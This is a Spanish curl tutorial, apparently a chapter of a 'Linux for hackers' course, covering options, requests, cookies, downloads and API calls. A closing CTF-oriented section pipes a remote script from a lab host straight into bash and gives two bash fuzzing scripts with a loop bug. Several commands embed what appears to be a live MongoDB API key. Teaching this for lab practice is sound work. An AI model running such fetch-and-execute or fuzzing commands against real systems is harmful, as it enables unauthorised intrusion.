Bienvenidos a este capítulo del Curso de Linux para Hackers – El Comando curl. Comparte este articulo y síguenos para recibir más capítulos y cursos gratis.

Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.

En esta guía veremos desde cero un tema tan amplio como es Linux y lo haremos desde el punto de vista del hacking y la ciberseguridad.

Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.

Índice

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

Lo que aprenderás en este artículo

  1. Introducción al comando curl y sus usos básicos:
    • Entender qué es curl y su importancia para transferir datos a través de varios protocolos.
    • Conocer libcurl, la biblioteca detrás de curl, que ofrece soporte para múltiples protocolos de red.
  2. Opciones y parámetros principales de curl:
    • Aprender las opciones y banderas más utilizadas de curl para realizar diferentes tipos de solicitudes HTTP (GET, POST, etc.).
    • Saber cómo gestionar cookies, encabezados HTTP y datos de formularios con curl.
  3. Aplicaciones prácticas y ejemplos de uso de curl:
    • Realizar solicitudes básicas y avanzadas, incluyendo descargas de archivos, autenticación, y manipulación de cookies y encabezados.
    • Ejecutar scripts para automatizar consultas curl en diferentes escenarios de hacking ético y pruebas de seguridad.
  4. Uso avanzado de curl en la línea de comandos:
    • Exploración de comandos de fuzzing y pruebas automatizadas con curl en Bash.
    • Cómo interactuar con APIs y realizar solicitudes de datos JSON o autenticación basada en API.

El Comando curl en Linux

El comando curl de Linux se utiliza para descargar o cargar datos a un servidor a través de protocolos compatibles como HTTP, FTP, IMAP, SFTP, TFTP, IMAP, POP3, SCP, etc. Es una utilidad remota, por lo que funciona sin interacción del usuario.

La transferencia de datos de un lugar a otro es una de las tareas más importantes y utilizadas de un sistema informático. Sin embargo, existen muchas herramientas GUI disponibles para la transferencia de datos. Pero, cuando se trabaja en la línea de comandos, se vuelve un poco complicado. La utilidad curl nos permite transferir datos a través de la línea de comandos.

Curl ofrece una gran cantidad de trucos útiles, como reanudación de transferencia de archivos, cookies, conexiones SSL, publicación HTTP, carga FTP, autenticación de usuarios, compatibilidad con proxy y más. Curl está mecanizado por libcurl para todos los aspectos relacionados con la transferencia.

¿Qué es libcurl?

libcurl es una biblioteca de transferencia de URL gratuita del lado del cliente. Admite SMB, SMTP, SCP, RTMP, RTSP, POP3, MQTT, LDAP, Kerberos, IMAP, HTTPS, túnel de proxy HTTP, HTTP PUT, HTTP POST, HTTP/1, Gopher, FTPS, FTP, DICT y cookies. La biblioteca también admite autenticación de usuario más contraseña, servidores proxy, LDAPS, certificados HTTPS, carga basada en formularios HTTP, carga FTP, reanudación de transferencia de archivos, TFTP, Telnet, SFTP y esquema de URL de archivo.

libcurl es compacto. Crea y funciona de forma idéntica en varias plataformas, incluidas Microsoft Windows, UnixWare, Ultrix, Tru64, Symbian, Solaris, RISC OS, QNX Neutrino, OS/2, OpenBSD, NetWare, NetBSD, macOS, Linux, IRIX, iOS, HURD, HP-UX, FreeBSD, DOS, Darwin, OpenVMS, BlackBerry 10, BlackBerry Tablet OS, BeOS, Android, AmigaOS y AIX.

La biblioteca libcurl es compatible con IPv6, es segura para subprocesos y gratuita. También hay enlaces disponibles para más de 50 lenguajes, incluidos Python, PHP, Java y C/C++.

La biblioteca libcurl es compatible con SChannel, gskit en IBM i, NSS, mbed TLS, GnuTLS en Windows, Secure Trasport en iOS y macOS, TLS/SSL a través de OpenSSL, rustls, BearSSL, wolfSSL, AmiSSL, libressl y Boringssl.

Sintaxis:

La sintaxis básica para utilizar curl es la siguiente:

curl [opciones] [URL...]  

De la sintaxis anterior,

URL:

La sintaxis de la URL es una URL general que depende del protocolo. Podemos especificar varias URL de la siguiente manera:

http://site.{uno,dos,tres}.com  

Opciones de curl:

El comando curl admite las siguientes opciones de línea de comandos:

–abstract-unix-socket <ruta>: se utiliza para conectarse a través de un socket de dominio Unix abstracto en lugar de una red.

–anyauth: se utiliza para ordenar a curl que autentique el método por sí mismo para utilizar el método más seguro. Esta utilidad es una utilidad opcional “–basic, –digest, –ntlm y negotiate”, que se utiliza para establecer un método de autenticación específico.

-a, –append: se utiliza para cargar archivos. Agrega el archivo en lugar de sobrescribirlo. Si el archivo indicado no existe en el servidor, creará uno.

–basic: especifica el uso de la autenticación básica HTTP . Es la opción predeterminada del comando curl. Es útil para anular las configuraciones anteriores.

–cacert <archivo>: se especifica para usar el archivo de certificado en particular para verificar el par. Los archivos pueden tener varios certificados de CA. El formato estándar para los certificados es PEM, por lo que todos los certificados deben estar en él.

–capath <dir>: Se especifica para usar el directorio en particular para verificar el par. Podemos especificar múltiples rutas separándolas con dos puntos (:) como “ruta: ruta2:ruta3”. El formato estándar para los certificados es PEM, por lo que todos los certificados deben estar en él.

–cert-status: se utiliza para verificar el estado del certificado del servidor. Utiliza la solicitud de estado del certificado o el protocolo TLS de OCSP.

–cert-type <type>: especifica el tipo de certificado curl proporcionado. Estos certificados pueden estar en formato PEM, DER y ENG. El valor predeterminado es PEM. Si se especifica varias veces, curl tomará el último valor.

-E, –cert <certificado[: contraseña]>: se especifica para utilizar el archivo de certificado de cliente al obtener un archivo a través de cualquier protocolo basado en SSL, como HTTPS, FTPS, etc.

–ciphers <lista de cifrados>: Se utiliza para seleccionar los cifrados a utilizar en la conexión.

–compressed-ssh: se utiliza para habilitar la compresión SSH incorporada. Esta opción se considerará una solicitud del servidor, por lo que el servidor puede aceptarla o no.

–compressed: se utiliza para solicitar una respuesta comprimida mediante los algoritmos curl y guarda el documento sin comprimir. Esta opción enviará un informe sobre la codificación curl no compatible.

-K, –config <archivo>: se utiliza para describir un archivo de texto para leer argumentos de curl. curl utilizará los argumentos de la línea de comandos del archivo de texto.

–connect-timeout <segundos>: se utiliza para especificar el tiempo máximo en segundos para el tiempo de espera de la conexión curl.

–connect-to <HOST1:PORT1:HOST2:PORT2>: se utiliza para crear una solicitud al par de host y puerto indicado; de lo contrario, se conectará al siguiente par. Esta opción es una herramienta útil para realizar solicitudes directas a un servidor específico.

-C, –continue-at <offset>: se utiliza para continuar o reanudar una transferencia de archivo anterior en el desplazamiento indicado.

-c, –cookie-jar <nombre_archivo>: Se utiliza para especificar un archivo particular en el que queremos escribir todas las cookies después de una operación exitosa.

-b, –cookie <data>: Se utiliza para reenviar datos al servidor HTTP en el encabezado de la cookie.

–create-dirs: Se utiliza junto con la opción ‘-o?’, creará la jerarquía de directorio local requerida.

–crlf (FTP SMTP): se utiliza para convertir LF a CRLF en la carga. Es una herramienta muy útil para MVS (OS/390).

–crlfile <archivo>: Se utiliza para especificar (en formato PEM) una Lista de Revocación de Certificados.

–data-ascii <data>: Es un alias para la opción ?-d?.

–delegation <NIVEL>: Se utiliza para establecer el NIVEL para reconocer al servidor lo que tiene permitido delegar cuando se trata de credenciales de usuario.

–digest: Se utiliza para habilitar la autenticación HTTP Digest.

-q, –disable: si se usa como primer argumento, ignorará el archivo de configuración curlrc.

–dns-interface <interfaz>: Se utiliza para reconocer al servidor para enviar las solicitudes DNS salientes.

–dns-servers <direcciones>: se utiliza para especificar los servidores DNS en lugar de los servidores predeterminados.

-f, –fail: se utiliza para hacer que curl falle silenciosamente ante errores del servidor.

-F, –form <nombre=contenido>: Se utiliza para emular un formulario completado enviado por el usuario.

-P, –ftp-port <dirección>: se utiliza para revertir los roles de escucha predeterminados al conectarse con FTP.

–ftp-ssl-ccc-mode <activo/pasivo>: Se utiliza para establecer el modo CCC.

-G, –get: Se utiliza para especificar datos con la opción ?-d? que se utilizarán en una solicitud HTTP GET en lugar de una solicitud POST.

-h, –help: Se utiliza para mostrar el manual de ayuda con una breve descripción del uso y opciones de soporte.

-0, –http1.0: Se especifica para utilizar la versión HTTP 1.0.

–ignore-content-length: se utiliza para ignorar el encabezado Content-Length.

-i, –include: Se utiliza para incluir los encabezados de respuestas HTTP.

-4, –ipv4: Se utiliza para resolver nombres en direcciones IPv4.

-6, –ipv6: Se utiliza para resolver nombres en direcciones IPv6.

Protocolos de curl

Curl admite varios protocolos:

  • DICT: Nos permite buscar palabras únicamente con diccionarios.
  • FTP (S): Curl admite el protocolo FTP mediante una gran cantidad de herramientas y ajustes, con o sin TLS.
  • ARCHIVO: Nos permite escribir y leer el archivo local. Curl no permite acceder remotamente a file://URL, pero funcionará cuando esté activo en Microsoft Windows con el enfoque UNC nativo.
  • GOPHER (S): Recupera archivos.
  • HTTP (S): Curl admite HTTP mediante numerosas variaciones y opciones. Puede hablar en las versiones HTTP 0.9, 1.0, 1.1, 2 y 3 según la línea de comandos y las opciones de compilación precisas.
  • IMAP (S): Curl descarga los correos electrónicos para nosotros con el protocolo de lectura de correo. Con o sin TLS.
  • LDAP (S): Curl puede implementar la búsqueda de directorio para nosotros con o sin usar TLS.
  • MQTT: Curl es compatible con la versión 3 de MQTT. Descargar en MQTT es lo mismo que “suscribirse” a cualquier tema, y ​​publicar/subir contenido es lo mismo que “publicar” en cualquier tema. MQTT no es compatible con TLS.
  • POP3 (S): Descargar a través de un servidor pop3 representa recibir correo sin o con TLS.
  • RTMP (S): El RTMP o Protocolo de mensajería en tiempo real se utiliza principalmente para la transmisión de medios por servidor.
  • RTSP: Curl admite las descargas 1.0 de RTSP.
  • SCP: Curl admite la versión de transferencia de dos scp de SCP.
  • SFTP: Curl admite SFTP a través de la segunda versión de SSH.
  • SMB (S): Curl admite la versión 1 de SMB para descarga y carga.
  • SMTP (S): Subir contenidos a cualquier servidor SMTP significa transferir un correo electrónico sin o con TLS.
  • TELNET: Al informar a curl que traiga una URL de telnet se inicia una sesión interactiva en la que transfiere lo que lee por stdin y da como resultado lo que le transfiere el servidor.
  • TFTP: Curl puede implementar cargas y descargas TFTP.

Instalación del comando curl

El comando curl viene con la mayoría de las distribuciones de Linux . Pero, si el sistema no trae curl por defecto, deberá instalarlo manualmente. Para instalar curl, ejecute los siguientes comandos:

sudo apt install curl  

Verifique la instalación ejecutando el siguiente comando:

curl --version  

El comando anterior mostrará la versión instalada del comando curl.

Nota: Los sitios web activos en los siguientes comandos funcionan al momento de escribir este artículo, pero las URL y la tecnología pueden cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes ahacer:

Parámetro GET

Las variables HTTP GET se pueden configurar agregándolas a la URL.

curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia

Parámetros POST

Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:

$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

Cookies

cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:

$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

También puedes especificar tus propias cookies usando el parámetro -b:

$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php

Agentes de usuario de cURL

$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php

Guarda la respuesta del servidor en un archivo.

$ curl -o payload.sh http://10.10.10.10/payload.sh

Descarga un archivo a la carpeta actual

$ curl -O http://10.10.10.10/payload.zip

Sigue HTTP/1.1 302 redirecciones encontradas

curl -L http://10.10.10.10/profile.php

Encabezados de respuesta de salida de cURL a STDOUT

$ curl -i http://10.10.10.10/profile.php

cURL ve información detallada de depuración (encabezados de respuesta y otros detalles de depuración – STD2)

$ curl -v http://10.10.10.10/profile.php

Buscando en la web

El uso más sencillo de curl es la visualización de sitios web y archivos en la línea de comandos, que es también la forma en que la mayoría de los estudiantes de informática aprenden sobre curl en primer lugar.

Las opciones curl (también conocidas como banderas ) comienzan con un guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de archivo.

DOMINIODESCRIPCIÓN
curl https://achirou.com/Devuelve el archivo fuente de una URL https://achirou.com/
curl --list-only "http://socialdance.stanford.edu/music/"Lista de contenidos del directorio http://socialdance.stanford.edu/music/
curl -lAbreviación decurl --list-only
curl --location "https://aveclagare.org/mp3"Redirigir la consulta según lo especificado en el código de respuesta de estado HTTP 3xx. Este directorio URL, https://aveclagare.org/mp3 , no devuelve la lista de archivos MP3 usando el curl --list-onlycomando, pero sí con curl --location.
curl -LAbreviación de curl --location
curl --fail-early "ftp://ftp.corel.com"Falla rápidamente al resolver ftp://ftp.corel.com
curl --head "https://achirou.com/"Obtener encabezados HTTP de la URL https://achirou.com/
curl -IAbreviación decurl --head
curl --head --show-error "https://achirou.com/holamundo/"Compruebe si el sitio https://achirou.com/holamundo/ está inactivo
curl --head --location "https://lnkd.in/dQ2hhwz3" | grep LocationExpanda una URL acortada o disfrazada:
https://lnkd.in/dQ2hhwz3 redirige a una entrada de este blog. Esto también es útil cuando desea descubrir los sitios web reales detrás de los hipervínculos.

Descargando archivos

Los siguientes comandos son útiles cuando deseas extraer contenido de sitios web. Los siguientes comandos devuelven resultados significativos al momento de escribirlos. Cambie los parámetros para adaptarlos a sus propósitos.

DOMINIODESCRIPCIÓN
curl --output hello.html https://achirou.com/Envía la URL https://achirou.com/ a un archivo hello.html
curl -oLa abreviatura de curl --output. -osolo funciona si se coloca antes del parámetro de la URL de destino.
curl --remote-name "https://core.ac.uk/download/pdf/71450528.pdf"
Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y guarde el archivo sin cambiar su nombre.
curl -"https://core.ac.uk/download/pdf/71450528.pdf --output notas_hack.pdfDescargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y cámbiele el nombre. notas_hack.pdf
Alternativamente, puede reemplazarlo --outputcon >. Reemplazar --outputcon -ono funciona aquí.
curl --remote-name --continue-at - "https://core.ac.uk/download/pdf/71450528.pdf"Continuar con la descarga parcial de un archivo https://core.ac.uk/download/pdf/71450528.pdf
curl "https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --output "file_#1.html"Descargue archivos desde múltiples ubicaciones y asígneles un nombre según el formato. file_(operating system).html
curl "https://www.gutenberg.org/files/[158-161]/[158-161]-0.{txt,zip}" --output "bk#1_#2.#3"Descargar una secuencia de archivos y resultados. bk158_158.txt, bk158_158.zip, …, bk161_161.zip
curl --location http://socialdance.stanford.edu/music/ | grep '.mp4' | cut -d \" -f 8 | while read i; do curl http://socialdance.stanford.edu/music/"${i}" -o "${i##*/}"; doneDescargue todos los archivos MP4 desde la URL http://socialdance.stanford.edu/music/ .
Aquí, use grep para filtrar los archivos MP4, cut para encontrar la ruta a los archivos requeridos (el delimitador es ” y la cadena de ruta estaba en el octavo delimitador), un whilebucle con curl ayuda a descargar los archivos de forma recursiva.
Necesitará modificar los comandos grep cut para descargar otros tipos de archivos y que localice hipervínculos relevantes en el código fuente HTML de la URL que especifique.

Comandos GET curl

Las variables HTTP GET se pueden configurar agregándolas a la URL.

$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia

Utilice estos comandos para realizar una solicitud GET mediante curl. Los comandos curl GET pueden requerir que pases claves de autorización a través de la bandera --header.

También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados. 

DOMINIODESCRIPCIÓN
curl --request GET "https://achirou.com/"Obtenga la fuente HTML de la URL https://achirou.com/ y envíela a la consola del terminal.
curl -XAbreviación decurl --request
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --header 'Content-Type: application/json'Obtenga todos los documentos de MongoDB de la viewdata-kqgls con la cadena secreta proporcionada y el encabezado como parámetros de consulta. El resultado esperado es un objeto JSON que contiene todos los documentos.
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: application/json'Obtenga un documento MongoDB de la viewdata-kqgls con el ID, la cadena secreta y el encabezado del tipo de contenido proporcionados como parámetros de consulta.
El resultado esperado es el documento, Get a MongoDB document from the viewdata-kqgls app with the given ID, secret string, and content type header as query parameters.The expected result is the document, if it exists:{“_id”:”636b5046e54ce11139fd8b96″,”name”:”Alvaro“,”age”:37,”greeting”:”Greetings, everyone.”}

Comandos POST curl

Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:

$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

Utilice estos comandos para realizar una solicitud POST utilizando curl. Los comandos curl POST pueden requerir que el --headerindicador pase claves de autorización.

También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.

DOMINIODESCRIPCIÓN
curl --headerPasar un encabezado a la URL del servidor
curl -HAbreviación decurl --header
curl --request POST "https://achirou.com/ " -d 'some data'Obtenga la fuente HTML de la URL https://achirou.com/
curl -XAbreviación decurl --request
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/insertOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","document": { "name": "Alvaro", "age": 37, "greeting": "Greetings, everyone." }}'Cargue a través de la API de datos de MongoDB el objeto Javascript dado a una base de datos y a una colección denominada curlhacks. El resultado esperado: {"insertedId":"636b5046e54ce11139fd8b96"}
esto significa que curlhacks se ha registrado el nuevo objeto Javascript como un documento MongoDB con el ID proporcionado.
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/findOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "name": "Alvaro" }}'Solicite a través de la API de datos de MongoDB la base de datos y la colección, ambas denominadas curlhacks, para un documento con el par clave-valor {"name": "Alice Bob"}.
El resultado esperado es el documento solicitado:{"document":{"_id":"636b5046e54ce11139fd8b96","name":"Alice Alvaro","age":37,"greeting":"Greetings, everyone."}}
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/deleteOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "_id": { "$oid": "636b4f88fd82bd55d90962c6" } }}'Elimine a través de la API de datos de MongoDB un documento con el ID proporcionado de la base de datos y la colección, ambos denominados curlhacks.
El resultado esperado: {"deletedCount":1}
esto significa que curlhacks se ha eliminado un documento de MongoDB, concretamente el especificado.

Interacción API

Los siguientes comandos pueden ayudarle a automatizar las solicitudes de consultas web, como los envíos de formularios de Google. 

DOMINIODESCRIPCIÓN
curl "https://gitlab.com/api/v4/projects"Consultar un punto final API
curl --header "Auth-Token:$DB_APP_TOKEN" "https://example.com/api/v3/endpoint"Pase un encabezado a la URL de un servidor. Un encabezado es un campo de una solicitud o respuesta HTTP que pasa contexto y metadatos adicionales sobre la solicitud o respuesta. En este ejemplo, el encabezado es un token de autorización.
curl -HAbreviación decurl --header
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"Envíe datos sin procesar codificados en URL "Alvaro"a un punto final de API, en este caso un formulario de Google.
curl -dAbreviación decurl --data
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.htmlEnvíe datos sin procesar codificados en URL "Alvaro"a un punto final de API, en este caso un formulario de Google, y envíelos a los datos de salida.html devueltos por el servidor.
curl --form "emailAddress=test@myemail.com" --form "submit=Submit" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.htmlEmule el envío de una dirección de correo electrónico a un punto final API (formulario de Google aquí) y luego presione el botón Enviar. El archivo de salida, output.html tendrá un campo de dirección de correo electrónico completo.
curl -FAbreviación decurl --form
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.htmlEnvíe a un punto final API (formulario de Google aquí) el contenido del archivo /Users/user1/Downloads/playlist.m3u del parámetro entry.123456789. El símbolo < aquí significa que está enviando datos al servidor, a diferencia de > para los datos que recibe del servidor. Puede encontrar los parámetros del formulario entry.123456789 (el número no puede tener nueve dígitos) utilizando el Inspector de su navegador. En los navegadores basados ​​en Chrome, haga clic derecho en la página y seleccione “Inspeccionar” para ver el Inspector. El archivo de salida, output.html mostrará el contenido del archivo en el campo correspondiente.
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form "emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"Envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y el archivo de lista de reproducción especificados. La salida de este comando estará en la terminal.
curl --data "entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"De manera similar a lo anterior, envíe más de un dato al punto final de API determinado.
Este comando envía el correo electrónico y la cadena de datos sin procesar " </Users/user1/Downloads/playlist.m3u".
La salida de este comando estará en la terminal.
curl --form "input=@pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html
curl --form "input=/Users/user1/Downloads/pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html
Envíe un archivo /Users/user1/Downloads/pic1.jpg como datos de formulario al punto final de API determinado. Ambos comandos son equivalentes. Envían un archivo de imagen a https://www.iloveimg.com/resize-imag.Utilice @ si el archivo está en el directorio de trabajo actual (obtenido a través de pwd); No utilice @ si proporciona la ruta completa del directorio del archivo.
El archivo de salida, output.htmlmostrará las opciones de cambio de tamaño de imagen devueltas por la API.

Cookies

cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:

$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

También puedes especificar tus propias cookies usando el parámetro -b:

$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php

Parece que la sola acción de enviar cookies al sitio web de destino no afecta el diseño HTML del sitio web. Sin embargo, curl admite los siguientes métodos:

DOMINIODESCRIPCIÓN
curl --cookie "registered=yes"Enviar "registered=yes"como cookie
curl --cookie "name=Alvaro;email=test@myemail.com"Enviar “nombre=Alvaro” y "email=test@myemail.com"como cookies
curl --cookie import_cookies.txtEnviar el contenido de import_cookies.txtcomo cookie(s).
Como la mayoría de los navegadores ya no admiten el “Set-Cookie:”prefijo, formatee sus cookies en el archivo como:
key1=value1;key2=value2
curl -bAbreviación de--cookie
curl --cookie-jar mycookies.txtEscriba cookies mycookies.txtdespués de ejecutar la operación curl en otras banderas
curl -cAbreviación de--cookie-jar
curl --dump-header headers_and_cookies.txt https://achirou.com/Envíe encabezados HTTP y datos de cookies de https://achirou.com/ aheaders_and_cookies.txt
curl -DAbreviación decurl --dump-header

curl Script

Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de ejemplo que involucran comandos curl:

EJEMPLODESCRIPCIÓN
paquete-instalación-curl.shInstalar paquetes con curl
curl-url-time.shConsultar el tiempo de respuesta de un sitio web
formato curl-json.shEmbellecer la salida json para la respuesta curl
curl-remote-scripts.shcurl ejecutar scripts remotos

curl avanzado

Aquí hay algunos comandos para ajustar sus operaciones de rizo.

DOMINIODESCRIPCIÓN
curl -hMostrar comandos de ayuda
curl --versionMostrar versión rizo
curl -v ftp://ftp.afip.com/Obtenga resultados detallados mientras se conecta a la URL ftp://ftp.afip.com/. Puede usar este indicador -v junto con otros indicadores como --head, --location.
curl --trace ftp_X.txt https://twitter.com/Obtenga detalles de los paquetes capturados en la conexión a la URL https://twitter.com/
curl -s https://twitter.com/ > twitter.htmlDescargue la URL https://twitter.com/ en modo silencioso, sin mostrar el progreso
curl -L "https://twitter.com/search" --connect-timeout 0.1Especifique el tiempo máximo en segundos (0,1 segundos en este ejemplo) permitido para conectarse a la URL https://twitter.com/search
curl -s -w '%{remote_ip} %{time_total} %{http_code} \n' -o /dev/null https://achirou.com/Devuelve los valores de los parámetros especificados como una cadena '%{remote_ip} %{time_total} %{http_code} \n'en la salida del terminal y suprime todas las demás salidas del sistema.
curl -r 0-99 https://achirou.com/Obtenga los primeros 100 bytes de la URL https://achirou.com/
curl -r -500 https://achirou.com/Obtenga los últimos 500 bytes de la URL https://achirou.com/
curl -r 0-99 ftp://ftp.afip.comObtenga los primeros 100 bytes de una URL FTP. curl solo admite rangos con posiciones iniciales y finales explícitas.
curl -m 0.1Especifique el tiempo máximo de operación en segundos (0,1 s aquí)

Ejemplo de solicitud curl

Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo su propio riesgo.

DOMINIODESCRIPCIÓN.
curl -X POST https://textbelt.com/text --data-urlencode phone='+[area code][phone number]' --data-urlencode message='Hola Mundo =).' -d key=textbeltEnvía un mensaje de texto SMS gratuito a un número de teléfono en formato E.164 a través de https://textbelt.com/ con la clave API textbelt. Si tiene una clave API personalizada, reemplace ” textbelt” con ella.

Obtener el contenido de la URL especificada

Para obtener el contenido de una URL específica , ejecute el comando curl, seguido de la URL. Considere el siguiente comando:

curl https://achirou.com  

El comando anterior obtendrá los datos de la página especificada. Observe la siguiente captura de pantalla del resultado:

En el resultado anterior, podemos ver que se están obteniendo los datos de la página de la URL indicada. Para detener la ejecución, presione las teclas CTRL+C.

Guardar datos en un archivo específico

Para guardar los datos en un archivo específico, pase la opción ‘-o’ seguida del directorio, el nombre del archivo y la URL de la siguiente manera:

curl -o <directorio>/<nombre de archivo> <URL>  

Considere el siguiente comando:

curl -o alvaro.html   https://achirou.com  

El comando anterior guardará los datos de la página en el archivo ‘alvaro.html’. Observe el resultado que se muestra a continuación:

Desde el comando anterior, podemos ver la cantidad total de datos descargados, datos recibidos, tiempo promedio y algunas otras estadísticas sobre los datos.

Para verificar los datos descargados, abra el archivo ejecutando el comando cat

cat alvaro.html  

Considere la siguiente instantánea de salida:

Consulta de encabezados HTTP

Los encabezados HTTP contienen información adicional que permite al servidor web descargar esta información. Para consultar los encabezados HTTP de un sitio web, ejecute el comando con la opción ‘-I’ de la siguiente manera:

curl -I https://achirou.com  

El comando anterior producirá el siguiente resultado:

Hackear con cURL

Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox o cajas CTF.

Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a bash:

$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash

Atacar un formulario de inicio de sesión con cURL

$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

Creando nuevos usuarios con cURL

$ curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php

Fuzzing servidores web con cURL

A menudo, al realizar una evaluación de un servidor web, intentaremos desencadenar condiciones de error que proporcionarán información más profunda sobre los procesos y el software subyacentes. cURL puede ser una poderosa herramienta de fuzzing para generar estos mensajes de error de casos extremos.

Fuzzing con límites de longitud de URI / GET de longitud de parámetro con cURL

El siguiente script se puede utilizar para crear un servidor web con una URL larga, realizar un seguimiento de los cambios en la salida y escribir la salida en un archivo. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Puede modificar la URL para difuminar un URI o un parámetro GET.

Aquí está el script de bash shell:

#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
        fuzz=""
        for ((x = 1; x <= $i; x++))
        do
                fuzz+="A"
        done
        #echo "COUNT: $i $fuzz"
        #echo "${1}${fuzz}"
        echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; }
done

A continuación se muestra un ejemplo de cómo se ve en ejecución:

./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9  31 274 output.txt
...
...
100000 11  37 343 output.txt
100001 11  37 343 output.txt
100002 11  37 343 output.txt
100003 11  37 343 output.txt
100004 11  37 343 output.txt
100005 11  37 343 output.txt

Fuzzing límites de longitud del parámetro POST con cURL

El siguiente script se puede utilizar para modificar los parámetros POST de un servidor web y escribir la salida en un archivo y realizar un seguimiento de los cambios en esa salida.  Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash.

Aquí está el script de bash shell:

#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
        fuzz=""
        for ((x = 1; x <= $i; x++))
        do
                fuzz+="A"
        done
        #echo "COUNT: $i $fuzz"
        #echo "${5}${fuzz}"
        echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; }
done

A continuación se muestra un ejemplo de cómo se ve en ejecución:

./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9  31 274 output.txt
...
...
100000 11  37 343 output.txt
100001 11  37 343 output.txt

Verifique si el inicio de sesión de un usuario es correcto en un script Bash

